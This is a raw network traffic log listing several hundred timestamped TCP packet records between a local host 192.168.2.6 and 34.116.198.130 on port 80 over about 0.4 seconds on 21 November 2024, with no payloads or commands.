Nov 21, 2024 14:11:27.439161062 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.439246893 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.439353943 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.439704895 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.440041065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.440244913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.440869093 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.440908909 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.440965891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.441628933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.441708088 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.441858053 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.442435980 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.442540884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.442807913 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.443262100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.443387985 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.443613052 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.444024086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.444084883 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.444405079 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.444824934 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.444932938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.445632935 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.445656061 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.445725918 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.445725918 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.446444988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.446551085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.446744919 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.447191000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.447416067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.447614908 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.447993994 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.448124886 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.448369026 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.448820114 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.448939085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.449635983 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.449778080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.449815989 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.450014114 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.450412035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.450573921 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.450819016 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.451189995 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.451306105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.451555014 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.452053070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.452155113 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.452799082 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.452831984 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.452856064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.453078985 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.453587055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.453747988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.454029083 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.454377890 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.454560995 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.454722881 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.455178022 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.455252886 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.455454111 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.455977917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.456105947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.456480980 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.456772089 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.456939936 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.457582951 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.457731009 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.457776070 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.457889080 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.458451986 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.458568096 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.459177971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.459281921 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.459287882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.459608078 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.459984064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.460084915 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.460338116 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.460860968 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.460983038 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.461221933 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.461569071 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.461688995 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.461973906 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.462366104 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.462467909 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.463181019 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.463563919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.463613033 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.463983059 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.464020014 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.464056969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.464160919 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.464768887 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.464839935 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.465553999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.465698004 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.465744019 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.465883970 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.466445923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.466525078 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.466916084 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.467140913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.467322111 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.467961073 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.468027115 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.468067884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.468741894 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.468844891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.469229937 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.469568968 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.469631910 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.470093012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.470258951 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.470299959 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.470503092 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.470885038 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.471012115 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.471144915 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.471690893 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.471788883 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.472296953 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.472456932 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.523782969 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.623234034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.623337030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.623392105 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.623416901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.623667002 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.623759031 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.624250889 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.624288082 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.624435902 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.625015974 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.625097036 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.625130892 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.625554085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.625699997 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.625787973 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.626400948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.626550913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.626619101 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.627208948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.627357006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.627407074 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.627990961 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.628063917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.628120899 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.628771067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.628911018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.628952026 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.629582882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.629729986 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.629797935 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.630477905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.630490065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.630595922 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.631232977 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.631341934 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.631390095 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.631983042 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.632128954 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.632208109 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.632754087 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.632910967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.633016109 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.633544922 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.633604050 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.633812904 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.634406090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.634557962 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.634598970 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.635149956 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.635265112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.635334969 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.635955095 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.636045933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.636120081 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.636748075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.636893988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.636950016 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.637757063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.637856960 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.637924910 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.638386011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.638540983 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.638645887 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.639273882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.639549971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.639738083 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.640139103 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.640255928 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.640511990 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.640853882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.641073942 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.641144991 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.641558886 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.641645908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.641860962 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.642353058 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.642452002 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.642498016 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.643359900 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.643481016 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.643625021 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.644072056 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.644170046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.644315958 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.644712925 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.644859076 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.644967079 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.645633936 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.645947933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.646043062 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.646446943 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.646480083 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.646724939 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.647190094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.647329092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.647370100 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.647928953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.648011923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.648271084 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.648725033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.648821115 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.648890018 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.649652958 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.649725914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.649846077 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.650301933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.650398970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.650438070 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.651118040 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.651282072 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.651334047 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.651906967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.652005911 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.652051926 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.652721882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.652791977 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.652966022 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.653598070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.653721094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.653868914 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.654289007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.654361963 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.654758930 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.655102015 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.655195951 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.655231953 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.655895948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.656008959 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.656090021 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.656686068 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.656796932 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.656898022 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.657478094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.657597065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.657656908 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.658284903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.658397913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.658540964 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.659101009 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.659292936 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.659450054 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.659867048 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.659993887 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.660046101 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.660655975 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.660774946 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.660840988 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.661540031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.661602974 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.661744118 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.662297010 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.662622929 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.662671089 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.662826061 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.663391113 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.663455963 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.663562059 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.664258003 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.664315939 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.664450884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.664947033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.665026903 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.815643072 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.815694094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.815807104 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.816018105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.816127062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.816397905 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.816730976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.816831112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.816910982 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.817466021 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.817568064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.817791939 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.818401098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.818556070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.818672895 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.819333076 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.819413900 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.819705009 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.819936037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.820045948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.820158005 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.820535898 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.820653915 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.820702076 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.821386099 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.821571112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.821650028 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.822192907 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.822282076 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.822371006 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.822963953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.823055983 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.823190928 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.823746920 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.823893070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.823983908 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.824552059 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.824716091 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.824842930 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.825382948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.825515032 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.825567007 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.826165915 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.826333046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.826435089 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.826925039 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.827052116 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.827234030 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.827774048 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.827857018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.827903986 CET	49903	80	192.168.2.6	34.116.198.130
